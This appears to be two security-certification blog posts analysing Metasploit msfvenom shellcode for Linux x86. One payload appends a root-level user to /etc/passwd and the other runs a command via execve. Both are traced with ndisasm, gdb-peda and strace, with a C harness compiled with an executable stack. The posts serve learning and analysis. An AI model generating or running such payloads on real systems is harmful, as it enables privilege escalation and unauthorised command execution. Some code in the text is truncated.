1X̀") EDX: 0x25 ('%') ESI: 0xb7faa000 --> 0x1d4d6c EDI: 0x0 EBP: 0xbffff2d8 --> 0x0 ESP: 0xbffff2ac ("/etc//passwd") EIP: 0x402097 --> 0x16a80cd EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x402093 <code+83>: cld 0x402094 <code+84>: push 0x4 0x402096 <code+86>: pop eax => 0x402097 <code+87>: int 0x80 0x402099 <code+89>: push 0x1 0x40209b <code+91>: pop eax 0x40209c <code+92>: int 0x80 0x40209e <code+94>: add BYTE PTR [eax],al [------------------------------------stack-------------------------------------] 0000| 0xbffff2ac ("/etc//passwd") 0004| 0xbffff2b0 ("//passwd") 0008| 0xbffff2b4 ("sswd") 0012| 0xbffff2b8 --> 0x0 0016| 0xbffff2bc --> 0x40059d (<main+80>: mov eax,0x0) 0020| 0xbffff2c0 --> 0x1

from man page for write sys call,

ssize_t write(intfd, const void *buf, size_tcount);

we see just before the sys interrupt , ebx points to file discripter which was returned by earlier open sys call. ecx contains memory location which points to our required line for adding user to /etc/passwd . finally edx contains size. 

Finally exit call is used to exit gracefully. 

with the help of strace , we can see what syscalls are called by our program. we can verify all the syscalls with proper arguments as follows :

root@kali:~/slae_analyze/msf_adduser# strace ./shellcode

write(1, "Shellcode Length:  40\n", 22Shellcode Length:  40
) = 22

setreuid(0, 0)                          = 0
open("/etc//passwd", O_WRONLY|O_APPEND) = 3
write(3, "goutham:AzQyEPuN0e3yU:0:0::/:/bi"..., 37) = 37
exit(3)                                 = ?
+++ exited with 3 +++

lets verify the operation is successful .

root@kali:~/slae_analyze/msf_adduser# cat /etc/passwd | grep goutham


As we see, our desired user with root privilege is added to the system.

Github repo for code :

This blog post has been created for the completing the requirements of SecurityTube Linux Assembly Expert  certification.


SLAE student ID :  SLAE – 1367

Linux / x86 Msfvenom Exec shellcode analysis

Today we will analyse the shellcode for msfvenom payload “payload/linux/x86/exec” . So lets check the payload options for it.

root@kali:~/slae_analyze# msfvenom -p linux/x86/exec --payload-options
Options for payload/linux/x86/exec:

       Name: Linux Execute Command
     Module: payload/linux/x86/exec
   Platform: Linux
       Arch: x86
Needs Admin: No
 Total size: 36
       Rank: Normal

Provided by:
    vlad902 <>

Basic options:
Name  Current Setting  Required  Description
----  ---------------  --------  -----------
CMD                    yes       The command string to execute

  Execute an arbitrary command

 this payload accepts a “CMD” parameter, which is the code to be executed on the system. I will use “whoami” command for analyzing the generated shellcode. Lets pipe the output to ndisasm.

root@kali:~/slae_analyze# msfvenom -p linux/x86/exec CMD=whoami -f raw | ndisasm -u -
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 42 bytes

00000000  6A0B              push byte +0xb
00000002  58                pop eax
00000003  99                cdq
00000004  52                push edx
00000005  66682D63          push word 0x632d
00000009  89E7              mov edi,esp
0000000B  682F736800        push dword 0x68732f
00000010  682F62696E        push dword 0x6e69622f
00000015  89E3              mov ebx,esp
00000017  52                push edx
00000018  E807000000        call 0x24
0000001D  7768              ja 0x87
0000001F  6F                outsd
00000020  61                popa
00000021  6D                insd
00000022  6900575389E1      imul eax,[eax],dword 0xe1895357
00000028  CD80              int 0x80

initially we see that, syscall number “11” stored on eax. which implies that its making use of execve to execute our desired command! there are weird call instruction in the middle , we can see edx register getting set with null, along with setting argument 1 (“/bin/sh”) on ebx register. and “push word 0x632d” translates to “-c” in ASCII text, this hints that execve may be called as follows to execute our command.


but we note that there is no string “whoami” that is our command in the dissected assembly code. lets analyze the same code in gdb for further inspection.specifically on that call instruction.

root@kali:~/slae_analyze# msfvenom -p linux/x86/exec CMD=whoami -f c
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 42 bytes
Final size of c file: 201 bytes
unsigned char buf[] = 

Lets place this in our c template program and run inside gdb.


unsigned char code[] = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"

int main()
	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;



we will use GDB extended with Peda for smoother analysis. As Peda has some very cool integrated features which helps us in easier dissection.Lets place a breakpoint at our shellcode.

root@kali:~/slae_analyze/msf_exec# gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
root@kali:~/slae_analyze/msf_exec# ./shellcode
Shellcode Length:  15
root@kali:~/slae_analyze/msf_exec# gdb -q ./shellcode
Reading symbols from ./shellcode...(no debugging symbols found)...done.
gdb-peda$ break *&code
Breakpoint 1 at 0x2040
gdb-peda$ run

We dissemble at the start of our shellcode.

EAX: 0x402040 --> 0x99580b6a 
EBX: 0x402000 --> 0x1efc 
ECX: 0x0 
EDX: 0xb7fab890 --> 0x0 
ESI: 0xb7faa000 --> 0x1d4d6c 
EDI: 0x0 
EBP: 0xbffff288 --> 0x0 
ESP: 0xbffff26c --> 0x40059d (<main+80>:	mov    eax,0x0)
EIP: 0x402040 --> 0x99580b6a
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
   0x40203a:	add    BYTE PTR [eax],al
   0x40203c:	add    BYTE PTR [eax],al
   0x40203e:	add    BYTE PTR [eax],al
=> 0x402040 <code>:	push   0xb
   0x402042 <code+2>:	pop    eax
   0x402043 <code+3>:	cdq    
   0x402044 <code+4>:	push   edx
   0x402045 <code+5>:	pushw  0x632d
0000| 0xbffff26c --> 0x40059d (<main+80>:	mov    eax,0x0)
0004| 0xbffff270 --> 0x1 
0008| 0xbffff274 --> 0xbffff334 --> 0xbffff4df ("/root/slae_analyze/msf_exec/shellcode")
0012| 0xbffff278 --> 0xbffff33c --> 0xbffff505 ("LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc"...)
0016| 0xbffff27c --> 0x402040 --> 0x99580b6a 
0020| 0xbffff280 --> 0xbffff2a0 --> 0x1 
0024| 0xbffff284 --> 0x0 
0028| 0xbffff288 --> 0x0 
Legend: code, data, rodata, value

Breakpoint 1, 0x00402040 in code ()
gdb-peda$ disassemble
Dump of assembler code for function code:
=> 0x00402040 <+0>:	push   0xb
   0x00402042 <+2>:	pop    eax
   0x00402043 <+3>:	cdq    
   0x00402044 <+4>:	push   edx
   0x00402045 <+5>:	pushw  0x632d
   0x00402049 <+9>:	mov    edi,esp
   0x0040204b <+11>:	push   0x68732f
   0x00402050 <+16>:	push   0x6e69622f
   0x00402055 <+21>:	mov    ebx,esp
   0x00402057 <+23>:	push   edx
   0x00402058 <+24>:	call   0x402064 <code+36>
   0x0040205d <+29>:	ja     0x4020c7
   0x0040205f <+31>:	outs   dx,DWORD PTR ds:[esi]
   0x00402060 <+32>:	popa   
   0x00402061 <+33>:	ins    DWORD PTR es:[edi],dx
   0x00402062 <+34>:	imul   eax,DWORD PTR [eax],0xe1895357
   0x00402068 <+40>:	int    0x80
   0x0040206a <+42>:	add    BYTE PTR [eax],al
End of assembler dump.

we see that call instruction again with jump to some memory location. lets analyse by break at that location. 

EAX: 0xb ('\x0b')
EBX: 0xbffff25e ("/bin/sh")
ECX: 0x0 
EDX: 0x0 
ESI: 0xb7faa000 --> 0x1d4d6c 
EDI: 0xbffff266 --> 0x632d ('-c')
EBP: 0xbffff288 --> 0x0 
ESP: 0xbffff256 --> 0x40205d ("whoami")
EIP: 0x402064 --> 0xe1895357
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
=> 0x402064 <code+36>:	push   edi
   0x402065 <code+37>:	push   ebx
   0x402066 <code+38>:	mov    ecx,esp
   0x402068 <code+40>:	int    0x80
0000| 0xbffff256 --> 0x40205d ("whoami")
0004| 0xbffff25a --> 0x0 
0008| 0xbffff25e ("/bin/sh")
0012| 0xbffff262 --> 0x68732f ('/sh')
0016| 0xbffff266 --> 0x632d ('-c')
0020| 0xbffff26a --> 0x59d0000 
0024| 0xbffff26e --> 0x10040 
0028| 0xbffff272 --> 0xf3340000 
Legend: code, data, rodata, value
0x00402064 in code ()

As we see,  memory address containing our command string(“whoami”) is pushed onto to the stack . lets verify that what we assume is true.

gdb-peda$ x/s 0x40205d
0x40205d <code+29>:	"whoami"

Now lets break before calling interrupt to verify that all the arguments are on the stack setup for execve to execute.

EAX: 0xb ('\x0b')
EBX: 0xbffff25e ("/bin/sh")
ECX: 0xbffff24e --> 0xbffff25e ("/bin/sh")
EDX: 0x0 
ESI: 0xb7faa000 --> 0x1d4d6c 
EDI: 0xbffff266 --> 0x632d ('-c')
EBP: 0xbffff288 --> 0x0 
ESP: 0xbffff24e --> 0xbffff25e ("/bin/sh")
EIP: 0x402068 --> 0x80cd
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
   0x402060 <code+32>:	popa   
   0x402061 <code+33>:	ins    DWORD PTR es:[edi],dx
   0x402062 <code+34>:	imul   eax,DWORD PTR [eax],0xe1895357
=> 0x402068 <code+40>:	int    0x80
   0x40206a <code+42>:	add    BYTE PTR [eax],al
   0x40206c:	add    BYTE PTR [eax],al
   0x40206e:	add    BYTE PTR [eax],al
   0x402070:	add    BYTE PTR [eax],al
0000| 0xbffff24e --> 0xbffff25e ("/bin/sh")
0004| 0xbffff252 --> 0xbffff266 --> 0x632d ('-c')
0008| 0xbffff256 --> 0x40205d ("whoami")
0012| 0xbffff25a --> 0x0 
0016| 0xbffff25e ("/bin/sh")
0020| 0xbffff262 --> 0x68732f ('/sh')
0024| 0xbffff266 --> 0x632d ('-c')
0028| 0xbffff26a --> 0x59d0000 
Legend: code, data, rodata, value
0x00402068 in code ()
gdb-peda$ info registers
eax            0xb	0xb
ecx            0xbffff24e	0xbffff24e
edx            0x0	0x0
ebx            0xbffff25e	0xbffff25e
esp            0xbffff24e	0xbffff24e
ebp            0xbffff288	0xbffff288
esi            0xb7faa000	0xb7faa000
edi            0xbffff266	0xbffff266
eip            0x402068	0x402068 <code+40>
eflags         0x282	[ SF IF ]
cs             0x73	0x73
ss             0x7b	0x7b
ds             0x7b	0x7b
es             0x7b	0x7b
fs             0x0	0x0
gs             0x33	0x33

From the above code its clear that all the arguments for execve has been set properly before the interrupt. ebx contains /bin/sh string. and ecx contains address “0xbffff24e” (ESP) which points to memory location “0xbffff25e” which is nothing but address  of the /bin/sh followed by other arguments which are present on the stack.

gdb-peda$ x/s 0xbffff25e
0xbffff25e:	"/bin/sh"

Finally our code executes successfully ..

gdb-peda$ s
process 9452 is executing new program: /bin/dash

process 9497 is executing new program: /usr/bin/whoami

#output of our command "whoami"

[Inferior 2 (process 9497) exited normally]
Warning: not running or target is remote

Thats it for today. I will take up more shellcode analysis in the next few posts. Thank you!

Github Repo link :

This blog post has been created for the completing the requirements of SecurityTube Linux Assembly Expert  certification.


SLAE student ID :  SLAE – 1367